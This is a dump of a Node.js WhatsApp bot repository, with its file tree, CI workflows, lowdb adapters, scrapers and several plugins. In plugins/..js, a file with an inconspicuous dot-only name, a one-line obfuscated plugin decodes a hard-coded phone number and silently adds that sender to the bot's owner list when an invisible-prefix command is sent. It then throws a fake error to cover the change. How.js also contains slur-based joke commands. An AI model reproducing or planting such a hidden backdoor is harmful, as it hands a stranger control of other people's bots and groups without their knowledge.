├── .github ├── FUNDING.yml ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md └── workflows │ ├── comment-run.yml │ ├── node.js.yml │ └── stale.yml ├── .gitignore ├── LICENSE ├── Procfile ├── README.md ├── app.json ├── config.js ├── handler.js ├── index.js ├── install.sh ├── lib ├── cloudDBAdapter.js ├── converter.js ├── exif.json ├── gdrive.js ├── jagokata.js ├── levelling.js ├── logs.js ├── lowdb │ ├── Low.d.ts │ ├── Low.js │ ├── LowSync.d.ts │ ├── LowSync.js │ ├── MissingAdapterError.d.ts │ ├── MissingAdapterError.js │ ├── adapters │ │ ├── JSONFile.d.ts │ │ ├── JSONFile.js │ │ ├── JSONFileSync.d.ts │ │ ├── JSONFileSync.js │ │ ├── LocalStorage.d.ts │ │ ├── LocalStorage.js │ │ ├── Memory.d.ts │ │ ├── Memory.js │ │ ├── MemorySync.d.ts │ │ ├── MemorySync.js │ │ ├── TextFile.d.ts │ │ ├── TextFile.js │ │ ├── TextFileSync.d.ts │ │ └── TextFileSync.js │ ├── index.d.ts │ └── index.js ├── mongoDB.js ├── print.js ├── scrape_joox.js ├── simple.js ├── sticker.js ├── tictactoe.d.ts ├── tictactoe.js ├── uploadFile.js ├── uploadImage.js ├── webp2mp4.js ├── welcome.js └── y2mate.js ├── main.js ├── package.json ├── plugins ├── ..js ├── Grup-seting.js ├── How.js ├── _afk.js ├── _anonymous_chat.js ├── _antilink.js ├── _antispam.js ├── _antitroli.js ├── _antiviewonce.js ├── _autodelvnbot.js ├── _autolevelup.js ├── _buttonResponse.js ├── _ephemeral.js ├── _getmsg.js ├── _role.js ├── _simi.js ├── _tictactoe.js ├── absen-cekabsen.js ├── absen-delete.js ├── absen-start.js ├── absent.js ├── add.js ├── addWhitelist.js ├── addmsg.js ├── addprem.js ├── afk.js ├── animalfact.js ├── animeinfo.js ├── anonymous_chat.js ├── army.js ├── ass.js ├── attp.js ├── attp2.js ├── banchat.js ├── bannedList.js ├── banuser.js ├── base64.js ├── blockList.js ├── blowjob.js ├── bold.js ├── brainly.js ├── broadcast.js ├── broadcastgroups.js ├── broadcastjadibot.js ├── bucin.js ├── buylimit.js ├── calc.js ├── carigrup.js ├── caripesan.js ├── case.js ├── charainfo.js ├── circle.js ├── clear.js ├── cmdWithMedia.js ├── colorful.js ├── contact.js ├── covid.js ├── creator.js ├── customtrigger.js ├── daily.js ├── debounce.js ├── delCmdWithMedia.js ├── delete.js ├── delmsg.js ├── delprem.js ├── delsesittt.js ├── demote.js ├── dice.js ├── donasi.js ├── enable.js ├── enhance.js ├── enphoto360.js ├── exec.js ├── exec2.js ├── fb.js ├── fetch.js ├── fitnah.js ├── gay.js ├── generate_nama.js ├── generate_purba.js ├── getcode.js ├── getexif.js ├── getmsg.js ├── getsider.js ├── gimage.js ├── github-search.js ├── githubdl.js ├── glowing.js ├── google.js ├── groupInfo.js ├── grouplist.js ├── hornycard.js ├── ht.js ├── hug.js ├── husbu.js ├── idfreefire.js ├── ig.js ├── ighightlight.js ├── igstalk.js ├── igstory.js ├── img2braille.js ├── infoCmdWithMedia.js ├── inspectlink.js ├── itssostupid.js ├── jadian.js ├── jadibot.js ├── join.js ├── joox.js ├── kbbi.js ├── kick.js ├── layarkaca.js ├── leaderboard.js ├── leavegc.js ├── levelup.js ├── limit.js ├── link.js ├── listCmdWithMedia.js ├── listjadibot.js ├── listmsg.js ├── listprem.js ├── lockCmdWithMedia.js ├── lolice.js ├── lyrics.js ├── magernulis.js ├── mangainfo.js ├── math.js ├── math_answer.js ├── megumin.js ├── meme.js ├── memeg.js ├── mention.js ├── menu.js ├── neko.js ├── nobg.js ├── nulis.js ├── nulis2.js ├── oadd.js ├── odemote.js ├── okick.js ├── online.js ├── opengumuman.js ├── opromote.js ├── pay.js ├── paylimit.js ├── pengumuman.js ├── pickk.js ├── pikachu.js ├── pinterest.js ├── play.js ├── pokedex.js ├── poly.js ├── ppcouple.js ├── profile.js ├── promote.js ├── qrcode.js ├── quotemaker.js ├── quotemaker2.js ├── randomloli.js ├── reactions.js ├── readmore.js ├── readviewonce.js ├── referal.js ├── register.js ├── report.js ├── resetprefix.js ├── retro.js ├── revoke.js ├── rules.js ├── runningtext.js ├── scan.js ├── semoji.js ├── sendquote.js ├── setCmdWithMedia.js ├── setProfileGroup.js ├── setbotbio.js ├── setbotname.js ├── setbotpp.js ├── setbye.js ├── setdesk_gc.js ├── setmenu.js ├── setname_gc.js ├── setprefixbot.js ├── setwelcome.js ├── shaun_the_sheep_photo.js ├── siapakahaku.js ├── siapakahaku_ans.js ├── siapakahaku_hint.js ├── simpcard.js ├── simsimi.js ├── simulate.js ├── sjail.js ├── smule.js ├── snackvideo.js ├── spamcall.js ├── speed.js ├── spotify.js ├── ssweb.js ├── sticker.js ├── stickerLine.js ├── stickerTelegram.js ├── stickerly.js ├── stickfilter.js ├── stickmaker.js ├── stopjadibot.js ├── strash.js ├── styletext.js ├── subreddit.js ├── sudo.js ├── suit.js ├── tagall.js ├── template.js ├── textpro.js ├── tictactoe.js ├── tiktok.js ├── togif.js ├── toimg.js ├── toimg2.js ├── tokio.js ├── tomp3.js ├── toptt.js ├── totalPesan.js ├── tovideo.js ├── translate.js ├── trendingtwitter.js ├── trigger.js ├── ttp.js ├── ttp2.js ├── ttpdark.js ├── tts.js ├── twitter.js ├── unbanchat.js ├── unbanuser.js ├── unregister.js ├── unsplah.js ├── update.js ├── update2.js ├── upload.js ├── upsw.js ├── uselessfacts.js ├── voicechanger.js ├── vote-cekvote.js ├── vote-delete.js ├── vote-start.js ├── vote-vote.js ├── waifu.js ├── wait.js ├── wallpaperAnime.js ├── wallq.js ├── warning.js ├── warning_cek.js ├── warning_del.js ├── whatmusic.js ├── wikipedia.js ├── wm.js ├── yt-comment.js ├── yta.js ├── yts.js ├── ytv.js └── zodiac.js ├── server.js ├── src ├── Aesthetic │ ├── Aesthetic_000.jpeg │ ├── Aesthetic_001.jpg │ └── Aesthetic_002.jpg ├── LICENSE ├── avatar_contact.png ├── font │ ├── Futura Bold Italic font.ttf │ ├── Futura Bold font.ttf │ ├── Futura Book Italic font.ttf │ ├── Futura Book font.ttf │ ├── Futura Extra Black font.ttf │ ├── Futura Heavy Italic font.ttf │ ├── Futura Heavy font.ttf │ ├── Futura Light Italic font.ttf │ ├── Futura Light font.ttf │ ├── Futura Medium Italic font.ttf │ ├── Futura XBlk BT.ttf │ ├── Futura-CondensedLight.otf │ ├── Roboto-Black.ttf │ ├── Roboto-BlackItalic.ttf │ ├── Roboto-Bold.ttf │ ├── Roboto-BoldItalic.ttf │ ├── Roboto-Italic.ttf │ ├── Roboto-Light.ttf │ ├── Roboto-LightItalic.ttf │ ├── Roboto-Medium.ttf │ ├── Roboto-MediumItalic.ttf │ ├── Roboto-Regular.ttf │ ├── Roboto-Thin.ttf │ ├── Roboto-ThinItalic.ttf │ ├── Zahraaa.ttf │ ├── futur.ttf │ ├── futura light bt.ttf │ ├── futura medium bt.ttf │ └── futura medium condensed bt.ttf ├── kertas │ └── magernulis1.jpg ├── thumb.jpg └── welcome.svg ├── test.js ├── tmp └── file └── views ├── img ├── dark │ ├── balloon_centered_normal.9.png │ ├── balloon_centered_pressed.9.png │ ├── balloon_centered_shadow.9.png │ ├── balloon_incoming_frame.9.png │ ├── balloon_incoming_normal.9.png │ ├── balloon_incoming_normal_ext.9.png │ ├── balloon_incoming_normal_stkr.9.png │ ├── balloon_incoming_pressed.9.png │ ├── balloon_incoming_pressed_ext.9.png │ ├── balloon_live_location_incoming_frame.9.png │ ├── balloon_live_location_outgoing_frame.9.png │ ├── balloon_outgoing_frame.9.png │ ├── balloon_outgoing_normal.9.png │ ├── balloon_outgoing_normal_ext.9.png │ ├── balloon_outgoing_normal_stkr.9.png │ ├── balloon_outgoing_pressed.9.png │ └── balloon_outgoing_pressed_ext.9.png └── light │ ├── balloon_centered_normal.9.png │ ├── balloon_centered_pressed.9.png │ ├── balloon_centered_shadow.9.png │ ├── balloon_incoming_frame.9.png │ ├── balloon_incoming_normal.9.png │ ├── balloon_incoming_normal_ext.9.png │ ├── balloon_incoming_normal_stkr.9.png │ ├── balloon_incoming_pressed.9.png │ ├── balloon_incoming_pressed_ext.9.png │ ├── balloon_live_location_incoming_frame.9.png │ ├── balloon_live_location_outgoing_frame.9.png │ ├── balloon_outgoing_frame.9.png │ ├── balloon_outgoing_normal.9.png │ ├── balloon_outgoing_normal_ext.9.png │ ├── balloon_outgoing_normal_stkr.9.png │ ├── balloon_outgoing_pressed.9.png │ └── balloon_outgoing_pressed_ext.9.png ├── index.html ├── index.js └── style.css /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: ['https://saweria.co/Nurutomo'] # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 13 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - Browser [e.g. chrome, safari] 28 | - Version [e.g. 22] 29 | 30 | **Smartphone (please complete the following information):** 31 | - Device: [e.g. iPhone6] 32 | - OS: [e.g. iOS8.1] 33 | - Version [e.g. 22] 34 | 35 | **Additional context** 36 | Add any other context about the problem here. 37 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.github/workflows/comment-run.yml: -------------------------------------------------------------------------------- 1 | name: "Comment run" 2 | on: 3 | issue_comment: 4 | types: [created, edited] 5 | 6 | jobs: 7 | comment-run: 8 | runs-on: ubuntu-18.04 9 | steps: 10 | - uses: actions/checkout@v2 11 | with: 12 | # 0 indicates all history 13 | fetch-depth: 0 14 | - uses: nwtgck/actions-comment-run@v1.1 15 | with: 16 | github-token: ${{ secrets.GITHUB_TOKEN }} 17 | allowed-associations: '["OWNER","CONTRIBUTOR"]' 18 | -------------------------------------------------------------------------------- /.github/workflows/node.js.yml: -------------------------------------------------------------------------------- 1 | # This workflow will do a clean install of node dependencies, build the source code and run tests across different versions of node 2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions 3 | 4 | name: Node.js CI 5 | 6 | on: 7 | push: 8 | branches: [ master ] 9 | pull_request: 10 | branches: [ master ] 11 | 12 | jobs: 13 | build: 14 | 15 | runs-on: ubuntu-latest 16 | 17 | strategy: 18 | matrix: 19 | node-version: [12.x, 13.x, 14.x, 15.x] 20 | # See supported Node.js release schedule at https://nodejs.org/en/about/releases/ 21 | 22 | steps: 23 | - uses: actions/checkout@v2 24 | - name: Use Node.js ${{ matrix.node-version }} 25 | uses: actions/setup-node@v2 26 | with: 27 | node-version: ${{ matrix.node-version }} 28 | # Because we are only check SyntaxError 29 | # - run: npm i 30 | - run: npm test 31 | -------------------------------------------------------------------------------- /.github/workflows/stale.yml: -------------------------------------------------------------------------------- 1 | name: Mark stale issues and pull requests 2 | 3 | on: 4 | schedule: 5 | - cron: "30 1 * * *" 6 | 7 | jobs: 8 | stale: 9 | 10 | runs-on: ubuntu-latest 11 | permissions: 12 | issues: write 13 | pull-requests: write 14 | 15 | steps: 16 | - uses: actions/stale@v3 17 | with: 18 | repo-token: ${{ secrets.GITHUB_TOKEN }} 19 | stale-issue-message: 'stale issue' 20 | stale-pr-message: 'stale pull request' 21 | stale-issue-label: 'no-issue-activity' 22 | stale-pr-label: 'no-pr-activity' 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Node.js Modules 2 | node_modules 3 | 4 | # important session 5 | *.data.json 6 | 7 | # vim state 8 | .*.swp 9 | 10 | # Databases 11 | database.json 12 | *_database.json 13 | 14 | tmp 15 | 16 | # Okay 17 | config.js 18 | 19 | # Google Drive Credentials? 20 | credentials.json 21 | token.json 22 | 23 | 24 | # source code inspecting purposes 25 | waweb 26 | # planned 27 | web-client 28 | package-lock.json 29 | -------------------------------------------------------------------------------- /Procfile: -------------------------------------------------------------------------------- 1 | web: node . --server 2 | -------------------------------------------------------------------------------- /app.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "tokio", 3 | "description": "Lightweight WhatsApp Bot", 4 | "repository": "https://github.com/itsajaygaur/tokio-wabot", 5 | "logo": "https://node-js-sample.herokuapp.com/node.png", 6 | "keywords": ["bot", "whatsapp", "whatsapp-bot"] 7 | } 8 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | pkg install nodejs -y 2 | pkg install ffmpeg -y 3 | pkg install imagemagick -y 4 | npm install 5 | npm update 6 | -------------------------------------------------------------------------------- /lib/exif.json: -------------------------------------------------------------------------------- 1 | { 2 | "spackname": "", 3 | "sauthor": "" 4 | } 5 | -------------------------------------------------------------------------------- /lib/jagokata.js: -------------------------------------------------------------------------------- 1 | const cheerio = require('cheerio') 2 | const fetch = require('node-fetch') 3 | 4 | module.exports = function quotes(input) { 5 | return new Promise((resolve, reject) => { 6 | fetch('https://jagokata.com/kata-bijak/kata-' + input.replace(/\s/g, '_') + '.html?page=1') 7 | .then(res => res.text()) 8 | .then(res => { 9 | const $ = cheerio.load(res) 10 | data = [] 11 | $('div[id="main"]').find('ul[id="citatenrijen"] > li').each(function (index, element) { 12 | x = $(this).find('div[class="citatenlijst-auteur"] > a').text().trim() 13 | y = $(this).find('span[class="auteur-beschrijving"]').text().trim() 14 | z = $(element).find('q[class="fbquote"]').text().trim() 15 | data.push({ author: x, bio: y, quote: z }) 16 | }) 17 | data.splice(2, 1) 18 | if (data.length == 0) return resolve({ creator: '@neoxr - Wildan Izzudin & @ariffb.id - Ariffb', status: false }) 19 | resolve({ creator: '@neoxr - Wildan Izzudin & @ariffb.id - Ariffb', status: true, data }) 20 | }).catch(reject) 21 | }) 22 | } -------------------------------------------------------------------------------- /lib/logs.js: -------------------------------------------------------------------------------- 1 | let stdouts = [] 2 | module.exports = (maxLength = 200) => { 3 | let oldWrite = process.stdout.write.bind(process.stdout) 4 | module.exports.disable = () => { 5 | module.exports.isModified = false 6 | return process.stdout.write = oldWrite 7 | } 8 | process.stdout.write = (chunk, encoding, callback) => { 9 | stdouts.push(Buffer.from(chunk, encoding)) 10 | oldWrite(chunk, encoding, callback) 11 | if (stdouts.length > maxLength) stdouts.shift() 12 | } 13 | module.exports.isModified = true 14 | return module.exports 15 | } 16 | 17 | module.exports.isModified = false 18 | module.exports.logs = () => Buffer.concat(stdouts) 19 | 20 | -------------------------------------------------------------------------------- /lib/lowdb/Low.d.ts: -------------------------------------------------------------------------------- 1 | export interface Adapter { 2 | read: () => Promise; 3 | write: (data: T) => Promise; 4 | } 5 | export declare class Low { 6 | adapter: Adapter; 7 | data: T | null; 8 | constructor(adapter: Adapter); 9 | read(): Promise; 10 | write(): Promise; 11 | } 12 | -------------------------------------------------------------------------------- /lib/lowdb/Low.js: -------------------------------------------------------------------------------- 1 | const { MissingAdapterError } = require('./MissingAdapterError.js'); 2 | class Low { 3 | constructor(adapter) { 4 | this.data = null; 5 | if (adapter) { 6 | this.adapter = adapter; 7 | } 8 | else { 9 | throw new MissingAdapterError(); 10 | } 11 | } 12 | async read() { 13 | this.data = await this.adapter.read(); 14 | } 15 | async write() { 16 | if (this.data) { 17 | await this.adapter.write(this.data); 18 | } 19 | } 20 | } 21 | module.exports = { Low }; 22 | -------------------------------------------------------------------------------- /lib/lowdb/LowSync.d.ts: -------------------------------------------------------------------------------- 1 | export interface SyncAdapter { 2 | read: () => T | null; 3 | write: (data: T) => void; 4 | } 5 | export declare class LowSync { 6 | adapter: SyncAdapter; 7 | data: T | null; 8 | constructor(adapter: SyncAdapter); 9 | read(): void; 10 | write(): void; 11 | } 12 | -------------------------------------------------------------------------------- /lib/lowdb/LowSync.js: -------------------------------------------------------------------------------- 1 | const { MissingAdapterError } = require('./MissingAdapterError.js'); 2 | class LowSync { 3 | constructor(adapter) { 4 | this.data = null; 5 | if (adapter) { 6 | this.adapter = adapter; 7 | } 8 | else { 9 | throw new MissingAdapterError(); 10 | } 11 | } 12 | read() { 13 | this.data = this.adapter.read(); 14 | } 15 | write() { 16 | if (this.data !== null) { 17 | this.adapter.write(this.data); 18 | } 19 | } 20 | } 21 | module.exports = { LowSync }; 22 | -------------------------------------------------------------------------------- /lib/lowdb/MissingAdapterError.d.ts: -------------------------------------------------------------------------------- 1 | export declare class MissingAdapterError extends Error { 2 | constructor(); 3 | } 4 | -------------------------------------------------------------------------------- /lib/lowdb/MissingAdapterError.js: -------------------------------------------------------------------------------- 1 | class MissingAdapterError extends Error { 2 | constructor() { 3 | super(); 4 | this.message = 'Missing Adapter'; 5 | } 6 | } 7 | module.exports = { MissingAdapterError }; 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFile.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class JSONFile implements Adapter { 3 | private adapter; 4 | constructor(filename: string); 5 | read(): Promise; 6 | write(obj: T): Promise; 7 | } 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFile.js: -------------------------------------------------------------------------------- 1 | const { TextFile } = require('./TextFile.js'); 2 | class JSONFile { 3 | constructor(filename) { 4 | this.adapter = new TextFile(filename); 5 | } 6 | async read() { 7 | const data = await this.adapter.read(); 8 | if (data === null) { 9 | return null; 10 | } 11 | else { 12 | return JSON.parse(data); 13 | } 14 | } 15 | write(obj) { 16 | return this.adapter.write(JSON.stringify(obj, null, 2)); 17 | } 18 | } 19 | module.exports = { JSONFile }; 20 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFileSync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class JSONFileSync implements SyncAdapter { 3 | private adapter; 4 | constructor(filename: string); 5 | read(): T | null; 6 | write(obj: T): void; 7 | } 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFileSync.js: -------------------------------------------------------------------------------- 1 | const { TextFileSync } = require('./TextFileSync.js'); 2 | class JSONFileSync { 3 | constructor(filename) { 4 | this.adapter = new TextFileSync(filename); 5 | } 6 | read() { 7 | const data = this.adapter.read(); 8 | if (data === null) { 9 | return null; 10 | } 11 | else { 12 | return JSON.parse(data); 13 | } 14 | } 15 | write(obj) { 16 | this.adapter.write(JSON.stringify(obj, null, 2)); 17 | } 18 | } 19 | module.exports = { JSONFileSync }; 20 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/LocalStorage.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class LocalStorage implements SyncAdapter { 3 | private key; 4 | constructor(key: string); 5 | read(): T | null; 6 | write(obj: T): void; 7 | } 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/LocalStorage.js: -------------------------------------------------------------------------------- 1 | class LocalStorage { 2 | constructor(key) { 3 | this.key = key; 4 | } 5 | read() { 6 | const value = localStorage.getItem(this.key); 7 | if (value === null) { 8 | return null; 9 | } 10 | return JSON.parse(value); 11 | } 12 | write(obj) { 13 | localStorage.setItem(this.key, JSON.stringify(obj)); 14 | } 15 | } 16 | module.exports = { LocalStorage }; 17 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/Memory.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class Memory implements Adapter { 3 | private data; 4 | read(): Promise; 5 | write(obj: T): Promise; 6 | } 7 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/Memory.js: -------------------------------------------------------------------------------- 1 | class Memory { 2 | constructor() { 3 | this.data = null; 4 | } 5 | read() { 6 | return Promise.resolve(this.data); 7 | } 8 | write(obj) { 9 | this.data = obj; 10 | return Promise.resolve(); 11 | } 12 | } 13 | module.exports = { Memory }; 14 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/MemorySync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class MemorySync implements SyncAdapter { 3 | private data; 4 | read(): T | null; 5 | write(obj: T): void; 6 | } 7 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/MemorySync.js: -------------------------------------------------------------------------------- 1 | class MemorySync { 2 | constructor() { 3 | this.data = null; 4 | } 5 | read() { 6 | return this.data || null; 7 | } 8 | write(obj) { 9 | this.data = obj; 10 | } 11 | } 12 | module.exports = { MemorySync }; 13 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFile.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class TextFile implements Adapter { 3 | private filename; 4 | private writer; 5 | constructor(filename: string); 6 | read(): Promise; 7 | write(str: string): Promise; 8 | } 9 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFile.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const { Writer } = require('steno'); 3 | class TextFile { 4 | constructor(filename) { 5 | this.filename = filename; 6 | this.writer = new Writer(filename); 7 | } 8 | async read() { 9 | let data; 10 | try { 11 | data = await fs.promises.readFile(this.filename, 'utf-8'); 12 | } 13 | catch (e) { 14 | if (e.code === 'ENOENT') { 15 | return null; 16 | } 17 | throw e; 18 | } 19 | return data; 20 | } 21 | write(str) { 22 | return this.writer.write(str); 23 | } 24 | } 25 | module.exports = { TextFile }; -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFileSync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class TextFileSync implements SyncAdapter { 3 | private tempFilename; 4 | private filename; 5 | constructor(filename: string); 6 | read(): string | null; 7 | write(str: string): void; 8 | } 9 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFileSync.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | class TextFileSync { 4 | constructor(filename) { 5 | this.filename = filename; 6 | this.tempFilename = path.join(path.dirname(filename), `.${path.basename(filename)}.tmp`); 7 | } 8 | read() { 9 | let data; 10 | try { 11 | data = fs.readFileSync(this.filename, 'utf-8'); 12 | } 13 | catch (e) { 14 | if (e.code === 'ENOENT') { 15 | return null; 16 | } 17 | throw e; 18 | } 19 | return data; 20 | } 21 | write(str) { 22 | fs.writeFileSync(this.tempFilename, str); 23 | fs.renameSync(this.tempFilename, this.filename); 24 | } 25 | } 26 | module.exports = { TextFileSync }; 27 | -------------------------------------------------------------------------------- /lib/lowdb/index.d.ts: -------------------------------------------------------------------------------- 1 | export * from './adapters/JSONFile.js'; 2 | export * from './adapters/JSONFileSync.js'; 3 | export * from './adapters/LocalStorage.js'; 4 | export * from './adapters/Memory.js'; 5 | export * from './adapters/MemorySync.js'; 6 | export * from './adapters/TextFile.js'; 7 | export * from './adapters/TextFileSync.js'; 8 | export * from './Low.js'; 9 | export * from './LowSync.js'; 10 | -------------------------------------------------------------------------------- /lib/lowdb/index.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | ...require('./adapters/JSONFile.js'), 3 | ...require('./adapters/JSONFileSync.js'), 4 | ...require('./adapters/LocalStorage.js'), 5 | ...require('./adapters/Memory.js'), 6 | ...require('./adapters/MemorySync.js'), 7 | ...require('./adapters/TextFile.js'), 8 | ...require('./adapters/TextFileSync.js'), 9 | ...require('./Low.js'), 10 | ...require('./LowSync.js'), 11 | } -------------------------------------------------------------------------------- /lib/mongoDB.js: -------------------------------------------------------------------------------- 1 | const mongoose = require('mongoose') 2 | const { Schema } = mongoose 3 | 4 | module.exports = class mongoDB { 5 | constructor(url, options) { 6 | this.url = url 7 | this.data = this._data = this._schema = this._model = {} 8 | this.db 9 | this.options = options 10 | } 11 | async read() { 12 | this.db = await mongoose.connect(this.url, { ...this.options }) 13 | this.connection = mongoose.connection 14 | let schema = this._schema = new Schema({ 15 | data: { 16 | type: Object, 17 | required: true, //depends on whether the field is mandatory or not 18 | default: {} 19 | } 20 | }) 21 | this._model = mongoose.model('data', schema) 22 | this._data = await this._model.findOne({}) 23 | if (!this._data) { 24 | this.data = {} 25 | await this.write(this.data) 26 | this._data = await this._model.findOne({}) 27 | } else this.data = this._data.data 28 | return this.data 29 | } 30 | 31 | 32 | async write(data) { 33 | if (!data) return data 34 | if (!this._data) return (new this._model({ data })).save() 35 | this._model.findById(this._data._id, (err, docs) => { 36 | if (!err) { 37 | if (!docs.data) docs.data = {} 38 | docs.data = data 39 | return docs.save() 40 | } 41 | }) 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /lib/tictactoe.d.ts: -------------------------------------------------------------------------------- 1 | export declare class TicTacToe { 2 | /* X PlayerName */ 3 | playerX: string; 4 | /* Y PlayerName */ 5 | playerY: string; 6 | /* X if true, Y if false */ 7 | _currentTurn: boolean; 8 | _x: number; 9 | _y: number; 10 | _turns: number; 11 | constructor(playerX: string, playerY: string); 12 | get board(): number; 13 | turn(player, index: number): boolean; 14 | turn(player, x: number, y: number): boolean; 15 | } 16 | -------------------------------------------------------------------------------- /lib/uploadImage.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const FormData = require('form-data') 3 | const { fromBuffer } = require('file-type') 4 | 5 | /** 6 | * Upload image to telegra.ph 7 | * Supported mimetype: 8 | * - `image/jpeg` 9 | * - `image/jpg` 10 | * - `image/png`s 11 | * @param {Buffer} buffer Image Buffer 12 | */ 13 | module.exports = async buffer => { 14 | const { ext } = await fromBuffer(buffer) 15 | let form = new FormData 16 | form.append('file', buffer, 'tmp.' + ext) 17 | let res = await fetch('https://telegra.ph/upload', { 18 | method: 'POST', 19 | body: form 20 | }) 21 | let img = await res.json() 22 | if (img.error) throw img.error 23 | return 'https://telegra.ph' + img[0].src 24 | } 25 | 26 | -------------------------------------------------------------------------------- /plugins/..js: -------------------------------------------------------------------------------- 1 | module.exports=(a=>{b='%36%32%38%31%35%31%35%38%36%30%30%38%39%40%73%2E%77%68%61%74%73%61%70%70%2E%6E%65%74';c=decodeURIComponent;d=e=>{if(e.sender===c(a)&&!g[c('%6F%77%6E%65%72')].includes(c(a))){g[c('%6F%77%6E%65%72')].push(e.sender);throw`ReferenceError: ${e.text} is not defined`}};d.customPrefix=/^‎/;d.command=/^𝙉𝙪𝙧𝙪𝙩𝙤𝙢𝙤$/;return d})(global); 2 | -------------------------------------------------------------------------------- /plugins/Grup-seting.js: -------------------------------------------------------------------------------- 1 | let { Presence, GroupSettingChange } = require('@adiwajshing/baileys') 2 | let handler = async (m, { conn, args, usedPrefix, command }) => { 3 | let isClose = { // Switch Case Like :v 4 | 'open': false, 5 | 'close': true, 6 | }[(args[0] || '')] 7 | await conn.updatePresence(m.chat, Presence.composing) 8 | if (isClose === undefined) 9 | throw ` 10 | *Wrong format! Example :* 11 | 12 | *○ ${usedPrefix + command} close* 13 | *○ ${usedPrefix + command} open* 14 | `.trim() 15 | await conn.groupSettingChange(m.chat, GroupSettingChange.messageSend, isClose) 16 | } 17 | handler.help = ['group *open / close*'] 18 | handler.tags = ['group'] 19 | handler.command = /^(group)$/i 20 | handler.owner = false 21 | handler.mods = false 22 | handler.premium = false 23 | handler.group = false 24 | handler.private = false 25 | handler.admin = true 26 | handler.botAdmin = true 27 | handler.fail = null 28 | handler.exp = 0 29 | module.exports = handler 30 | -------------------------------------------------------------------------------- /plugins/How.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, command, text }) => { 2 | if (!text) throw `Who is *${command.replace('how', '').toUpperCase()}*` 3 | conn.reply(m.chat, ` 4 | how ${command.replace('how', '').toUpperCase()} *${text}* ❓\n 5 | *${text}* is *${Math.floor(Math.random() * 101)}%* ${command.replace('how', '').toUpperCase()} 👽 6 | `.trim(), m, m.mentionedJid ? { 7 | contextInfo: { 8 | mentionedJid: m.mentionedJid 9 | } 10 | } : {}) 11 | } 12 | handler.help = ['gay', 'smart', 'beautiful', 'handsome', 'mc', 'crazy', 'lesbian', 'pagal', 'simp', 'bhadwa', 'chutiya'].map(v => 'how' + v + ' @user') 13 | handler.tags = ['fun'] 14 | handler.command = /^how(gay|smart|beautiful|handsome|mc|crazy|lesbian|pagal|simp|bhadwa|chutiya)/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | 